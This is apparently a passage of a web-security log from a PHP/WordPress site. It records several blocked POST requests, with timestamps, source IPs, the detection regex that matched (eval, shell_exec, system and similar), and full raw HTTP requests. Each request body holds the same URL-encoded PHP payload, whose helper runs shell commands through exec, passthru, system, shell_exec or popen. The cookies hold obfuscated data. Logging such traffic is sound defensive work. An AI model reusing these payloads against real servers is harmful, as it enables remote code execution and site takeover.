%27%29%3B%20%20function%20run%28%24in%29%20%7B%20%20%20%20%20%24out%20%3D%20%27%27%3B%20%20%20%20%20if%20%28function_exists%28%27exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%40exec%28%24in%2C%20%24out%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%40join%28%22%5Cn%22%2C%20%24out%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27passthru%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40passthru%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27system%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40system%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27shell_exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20shell_exec%28%24in%29%3B%20%20%20%20%20%7D%20elseif%20%28is_resource%28%24f%20%3D%20%40popen%28%24in%2C%20%22r%22%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%22%22%3B%20%20%20%20%20%20%20%20%20while%20%28%21%40feof%28%24f%29%29%20%20%20%20%20%20%20%20%20%20%20%20%20%24out%20.%3D%20fread%28%24f%2C%201024%29%3B%20%20%20%20%20%20%20%20%20pclose%28%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20%24out%3B%20%7D%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\nsec-fetch-site:none\nsec-ch-ua-mobile:?0\ncontent-length:3337\nsec-ch-ua-platform:\"Windows\"\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvrKxvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzEvZy9wo252MKW0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\n\nyy=%3C%3Fphp%20%20%20%24files%20%3D%20%5B%27search_synonyms%27%2C%27thumbs_img%27%2C%27default_map%27%2C%27class.note%27%2C%27ebank_ok%27%2C%27wp_posts.class%27%2C%27coursereport_log%27%2C%27function.search%27%2C%27xoopstopic%27%2C%27loggedout%27%2C%27usergroup_4%27%2C%27proj_details_new%27%2C%27whos_online%27%2C%27rate_accept05%27%2C%27view.feed%27%2C%27ckeditor_php4%27%2C%27CreateFolder%27%2C%27AlphaValue%27%2C%27com_forum%27%2C%27captcha.class%27%2C%27sqlparser.data%27%2C%27formselect%27%2C%27block_mnet_hosts%27%2C%27source2doc%27%2C%27com_mtree%27%2C%27webdb_addtable_1%27%2C%27publicphoto%27%2C%27templateads%27%2C%27articles_latest%27%2C%272colsinline%27%5D%3B%20foreach%20%28%24files%20as%20%24f%29%20%7B%20%20%20%20%20%24res%20%3D%20%40run%28%22pgrep%20%7B%24f%7D%22%29%3B%20%20%20%20%20if%20%28%21preg_match%28%27\/%5Cd%2B\/%27%2C%20%24res%29%29%20%7B%20%20%20%20%20%20%20%20%20die%28%22%3Cf%3E%7B%24f%7D%3C\/f%3E%22%29%3B%20%20%20%20%20%7D%20%7D%20die%28%27%21ended%21%27%29%3B%20%20function%20run%28%24in%29%20%7B%20%20%20%20%20%24out%20%3D%20%27%27%3B%20%20%20%20%20if%20%28function_exists%28%27exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%40exec%28%24in%2C%20%24out%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%40join%28%22%5Cn%22%2C%20%24out%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27passthru%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40passthru%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27system%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40system%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27shell_exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20shell_exec%28%24in%29%3B%20%20%20%20%20%7D%20elseif%20%28is_resource%28%24f%20%3D%20%40popen%28%24in%2C%20%22r%22%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%22%22%3B%20%20%20%20%20%20%20%20%20while%20%28%21%40feof%28%24f%29%29%20%20%20%20%20%20%20%20%20%20%20%20%20%24out%20.%3D%20fread%28%24f%2C%201024%29%3B%20%20%20%20%20%20%20%20%20pclose%28%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20%24out%3B%20%7D%20"]
["2026-05-12 13:33:55","167.71.226.156","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> uN:%3C%3Fphp%20%20%20%24files%20%3D%20%5B%27search_synonyms%27%2C%27thumbs_img%27%2C%27default_map%27%2C%27class.note%27%2C%27ebank_ok%27%2C%27wp_posts.class%27%2C%27coursereport_log%27%2C%27function.search%27%2C%27xoopstopic%27%2C%27loggedout%27%2C%27usergroup_4%27%2C%27proj_details_new%27%2C%27whos_online%27%2C%27rate_accept05%27%2C%27view.feed%27%2C%27ckeditor_php4%27%2C%27CreateFolder%27%2C%27AlphaValue%27%2C%27com_forum%27%2C%27captcha.class%27%2C%27sqlparser.data%27%2C%27formselect%27%2C%27block_mnet_hosts%27%2C%27source2doc%27%2C%27com_mtree%27%2C%27webdb_addtable_1%27%2C%27publicphoto%27%2C%27templateads%27%2C%27articles_latest%27%2C%272colsinline%27%5D%3B%20foreach%20%28%24files%20as%20%24f%29%20%7B%20%20%20%20%20%24res%20%3D%20%40run%28%22pgrep%20%7B%24f%7D%22%29%3B%20%20%20%20%20if%20%28%21preg_match%28%27\/%5Cd%2B\/%27%2C%20%24res%29%29%20%7B%20%20%20%20%20%20%20%20%20die%28%22%3Cf%3E%7B%24f%7D%3C\/f%3E%22%29%3B%20%20%20%20%20%7D%20%7D%20die%28%27%21ended%21%27%29%3B%20%20function%20run%28%24in%29%20%7B%20%20%20%20%20%24out%20%3D%20%27%27%3B%20%20%20%20%20if%20%28function_exists%28%27exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%40exec%28%24in%2C%20%24out%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%40join%28%22%5Cn%22%2C%20%24out%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27passthru%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40passthru%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27system%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40system%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27shell_exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20shell_exec%28%24in%29%3B%20%20%20%20%20%7D%20elseif%20%28is_resource%28%24f%20%3D%20%40popen%28%24in%2C%20%22r%22%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%22%22%3B%20%20%20%20%20%20%20%20%20while%20%28%21%40feof%28%24f%29%29%20%20%20%20%20%20%20%20%20%20%20%20%20%24out%20.%3D%20fread%28%24f%2C%201024%29%3B%20%20%20%20%20%20%20%20%20pclose%28%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20%24out%3B%20%7D%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Google Chrome\";v=\"101\"\nsec-fetch-site:none\nsec-ch-ua-mobile:?0\ncontent-length:3337\nsec-ch-ua-platform:\"Windows\"\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvqH4vKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz11oUEcVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\n\nuN=%3C%3Fphp%20%20%20%24files%20%3D%20%5B%27search_synonyms%27%2C%27thumbs_img%27%2C%27default_map%27%2C%27class.note%27%2C%27ebank_ok%27%2C%27wp_posts.class%27%2C%27coursereport_log%27%2C%27function.search%27%2C%27xoopstopic%27%2C%27loggedout%27%2C%27usergroup_4%27%2C%27proj_details_new%27%2C%27whos_online%27%2C%27rate_accept05%27%2C%27view.feed%27%2C%27ckeditor_php4%27%2C%27CreateFolder%27%2C%27AlphaValue%27%2C%27com_forum%27%2C%27captcha.class%27%2C%27sqlparser.data%27%2C%27formselect%27%2C%27block_mnet_hosts%27%2C%27source2doc%27%2C%27com_mtree%27%2C%27webdb_addtable_1%27%2C%27publicphoto%27%2C%27templateads%27%2C%27articles_latest%27%2C%272colsinline%27%5D%3B%20foreach%20%28%24files%20as%20%24f%29%20%7B%20%20%20%20%20%24res%20%3D%20%40run%28%22pgrep%20%7B%24f%7D%22%29%3B%20%20%20%20%20if%20%28%21preg_match%28%27\/%5Cd%2B\/%27%2C%20%24res%29%29%20%7B%20%20%20%20%20%20%20%20%20die%28%22%3Cf%3E%7B%24f%7D%3C\/f%3E%22%29%3B%20%20%20%20%20%7D%20%7D%20die%28%27%21ended%21%27%29%3B%20%20function%20run%28%24in%29%20%7B%20%20%20%20%20%24out%20%3D%20%27%27%3B%20%20%20%20%20if%20%28function_exists%28%27exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%40exec%28%24in%2C%20%24out%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%40join%28%22%5Cn%22%2C%20%24out%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27passthru%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40passthru%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27system%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40system%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27shell_exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20shell_exec%28%24in%29%3B%20%20%20%20%20%7D%20elseif%20%28is_resource%28%24f%20%3D%20%40popen%28%24in%2C%20%22r%22%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%22%22%3B%20%20%20%20%20%20%20%20%20while%20%28%21%40feof%28%24f%29%29%20%20%20%20%20%20%20%20%20%20%20%20%20%24out%20.%3D%20fread%28%24f%2C%201024%29%3B%20%20%20%20%20%20%20%20%20pclose%28%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20%24out%3B%20%7D%20"]
["2026-05-12 13:34:10","102.209.21.218","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Uk:%3C%3Fphp%20%20%20%24files%20%3D%20%5B%27search_synonyms%27%2C%27thumbs_img%27%2C%27default_map%27%2C%27class.note%27%2C%27ebank_ok%27%2C%27wp_posts.class%27%2C%27coursereport_log%27%2C%27function.search%27%2C%27xoopstopic%27%2C%27loggedout%27%2C%27usergroup_4%27%2C%27proj_details_new%27%2C%27whos_online%27%2C%27rate_accept05%27%2C%27view.feed%27%2C%27ckeditor_php4%27%2C%27CreateFolder%27%2C%27AlphaValue%27%2C%27com_forum%27%2C%27captcha.class%27%2C%27sqlparser.data%27%2C%27formselect%27%2C%27block_mnet_hosts%27%2C%27source2doc%27%2C%27com_mtree%27%2C%27webdb_addtable_1%27%2C%27publicphoto%27%2C%27templateads%27%2C%27articles_latest%27%2C%272colsinline%27%5D%3B%20foreach%20%28%24files%20as%20%24f%29%20%7B%20%20%20%20%20%24res%20%3D%20%40run%28%22pgrep%20%7B%24f%7D%22%29%3B%20%20%20%20%20if%20%28%21preg_match%28%27\/%5Cd%2B\/%27%2C%20%24res%29%29%20%7B%20%20%20%20%20%20%20%20%20die%28%22%3Cf%3E%7B%24f%7D%3C\/f%3E%22%29%3B%20%20%20%20%20%7D%20%7D%20die%28%27%21ended%21%27%29%3B%20%20function%20run%28%24in%29%20%7B%20%20%20%20%20%24out%20%3D%20%27%27%3B%20%20%20%20%20if%20%28function_exists%28%27exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%40exec%28%24in%2C%20%24out%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%40join%28%22%5Cn%22%2C%20%24out%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27passthru%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40passthru%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27system%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40system%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27shell_exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20shell_exec%28%24in%29%3B%20%20%20%20%20%7D%20elseif%20%28is_resource%28%24f%20%3D%20%40popen%28%24in%2C%20%22r%22%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%22%22%3B%20%20%20%20%20%20%20%20%20while%20%28%21%40feof%28%24f%29%29%20%20%20%20%20%20%20%20%20%20%20%20%20%24out%20.%3D%20fread%28%24f%2C%201024%29%3B%20%20%20%20%20%20%20%20%20pclose%28%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20%24out%3B%20%7D%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\nsec-fetch-site:none\nsec-ch-ua-mobile:?0\ncontent-length:3337\nsec-ch-ua-platform:\"Windows\"\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvIJfvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWdqKA0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\n\nUk=%3C%3Fphp%20%20%20%24files%20%3D%20%5B%27search_synonyms%27%2C%27thumbs_img%27%2C%27default_map%27%2C%27class.note%27%2C%27ebank_ok%27%2C%27wp_posts.class%27%2C%27coursereport_log%27%2C%27function.search%27%2C%27xoopstopic%27%2C%27loggedout%27%2C%27usergroup_4%27%2C%27proj_details_new%27%2C%27whos_online%27%2C%27rate_accept05%27%2C%27view.feed%27%2C%27ckeditor_php4%27%2C%27CreateFolder%27%2C%27AlphaValue%27%2C%27com_forum%27%2C%27captcha.class%27%2C%27sqlparser.data%27%2C%27formselect%27%2C%27block_mnet_hosts%27%2C%27source2doc%27%2C%27com_mtree%27%2C%27webdb_addtable_1%27%2C%27publicphoto%27%2C%27templateads%27%2C%27articles_latest%27%2C%272colsinline%27%5D%3B%20foreach%20%28%24files%20as%20%24f%29%20%7B%20%20%20%20%20%24res%20%3D%20%40run%28%22pgrep%20%7B%24f%7D%22%29%3B%20%20%20%20%20if%20%28%21preg_match%28%27\/%5Cd%2B\/%27%2C%20%24res%29%29%20%7B%20%20%20%20%20%20%20%20%20die%28%22%3Cf%3E%7B%24f%7D%3C\/f%3E%22%29%3B%20%20%20%20%20%7D%20%7D%20die%28%27%21ended%21%27%29%3B%20%20function%20run%28%24in%29%20%7B%20%20%20%20%20%24out%20%3D%20%27%27%3B%20%20%20%20%20if%20%28function_exists%28%27exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%40exec%28%24in%2C%20%24out%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%40join%28%22%5Cn%22%2C%20%24out%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27passthru%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40passthru%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27system%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40system%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27shell_exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20shell_exec%28%24in%29%3B%20%20%20%20%20%7D%20elseif%20%28is_resource%28%24f%20%3D%20%40popen%28%24in%2C%20%22r%22%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%22%22%3B%20%20%20%20%20%20%20%20%20while%20%28%21%40feof%28%24f%29%29%20%20%20%20%20%20%20%20%20%20%20%20%20%24out%20.%3D%20fread%28%24f%2C%201024%29%3B%20%20%20%20%20%20%20%20%20pclose%28%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20%24out%3B%20%7D%20"]
["2026-05-12 13:34:37","107.155.87.193","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> GE:%3C%3Fphp%20%20%20%24files%20%3D%20%5B%27search_synonyms%27%2C%27thumbs_img%27%2C%27default_map%27%2C%27class.note%27%2C%27ebank_ok%27%2C%27wp_posts.class%27%2C%27coursereport_log%27%2C%27function.search%27%2C%27xoopstopic%27%2C%27loggedout%27%2C%27usergroup_4%27%2C%27proj_details_new%27%2C%27whos_online%27%2C%27rate_accept05%27%2C%27view.feed%27%2C%27ckeditor_php4%27%2C%27CreateFolder%27%2C%27AlphaValue%27%2C%27com_forum%27%2C%27captcha.class%27%2C%27sqlparser.data%27%2C%27formselect%27%2C%27block_mnet_hosts%27%2C%27source2doc%27%2C%27com_mtree%27%2C%27webdb_addtable_1%27%2C%27publicphoto%27%2C%27templateads%27%2C%27articles_latest%27%2C%272colsinline%27%5D%3B%20foreach%20%28%24files%20as%20%24f%29%20%7B%20%20%20%20%20%24res%20%3D%20%40run%28%22pgrep%20%7B%24f%7D%22%29%3B%20%20%20%20%20if%20%28%21preg_match%28%27\/%5Cd%2B\/%27%2C%20%24res%29%29%20%7B%20%20%20%20%20%20%20%20%20die%28%22%3Cf%3E%7B%24f%7D%3C\/f%3E%22%29%3B%20%20%20%20%20%7D%20%7D%20die%28%27%21ended%21%27%29%3B%20%20function%20run%28%24in%29%20%7B%20%20%20%20%20%24out%20%3D%20%27%27%3B%20%20%20%20%20if%20%28function_exists%28%27exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%40exec%28%24in%2C%20%24out%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%40join%28%22%5Cn%22%2C%20%24out%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27passthru%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40passthru%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27system%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40system%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27shell_exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20shell_exec%28%24in%29%3B%20%20%20%20%20%7D%20elseif%20%28is_resource%28%24f%20%3D%20%40popen%28%24in%2C%20%22r%22%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%22%22%3B%20%20%20%20%20%20%20%20%20while%20%28%21%40feof%28%24f%29%29%20%20%20%20%20%20%20%20%20%20%20%20%20%24out%20.%3D%20fread%28%24f%2C%201024%29%3B%20%20%20%20%20%20%20%20%20pclose%28%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20%24out%3B%20%7D%20","POST \/wp-admin\/site-health.php HTTP\/1.1\naccept:*\/*\naccept-encoding:gzip,deflate\nsec-fetch-mode:navigate\nsec-fetch-dest:document\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvE0HvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWyp2I0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-fetch-site:none\ncontent-length:3337\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\n\nGE=%3C%3Fphp%20%20%20%24files%20%3D%20%5B%27search_synonyms%27%2C%27thumbs_img%27%2C%27default_map%27%2C%27class.note%27%2C%27ebank_ok%27%2C%27wp_posts.class%27%2C%27coursereport_log%27%2C%27function.search%27%2C%27xoopstopic%27%2C%27loggedout%27%2C%27usergroup_4%27%2C%27proj_details_new%27%2C%27whos_online%27%2C%27rate_accept05%27%2C%27view.feed%27%2C%27ckeditor_php4%27%2C%27CreateFolder%27%2C%27AlphaValue%27%2C%27com_forum%27%2C%27captcha.class%27%2C%27sqlparser.data%27%2C%27formselect%27%2C%27block_mnet_hosts%27%2C%27source2doc%27%2C%27com_mtree%27%2C%27webdb_addtable_1%27%2C%27publicphoto%27%2C%27templateads%27%2C%27articles_latest%27%2C%272colsinline%27%5D%3B%20foreach%20%28%24files%20as%20%24f%29%20%7B%20%20%20%20%20%24res%20%3D%20%40run%28%22pgrep%20%7B%24f%7D%22%29%3B%20%20%20%20%20if%20%28%21preg_match%28%27\/%5Cd%2B\/%27%2C%20%24res%29%29%20%7B%20%20%20%20%20%20%20%20%20die%28%22%3Cf%3E%7B%24f%7D%3C\/f%3E%22%29%3B%20%20%20%20%20%7D%20%7D%20die%28%27%21ended%21%27%29%3B%20%20function%20run%28%24in%29%20%7B%20%20%20%20%20%24out%20%3D%20%27%27%3B%20%20%20%20%20if%20%28function_exists%28%27exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%40exec%28%24in%2C%20%24out%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%40join%28%22%5Cn%22%2C%20%24out%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27passthru%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40passthru%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27system%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40system%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27shell_exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20shell_exec%28%24in%29%3B%20%20%20%20%20%7D%20elseif%20%28is_resource%28%24f%20%3D%20%40popen%28%24in%2C%20%22r%22%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%22%22%3B%20%20%20%20%20%20%20%20%20while%20%28%21%40feof%28%24f%29%29%20%20%20%20%20%20%20%20%20%20%20%20%20%24out%20.%3D%20fread%28%24f%2C%201024%29%3B%20%20%20%20%20%20%20%20%20pclose%28%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20%24out%3B%20%7D%20"]
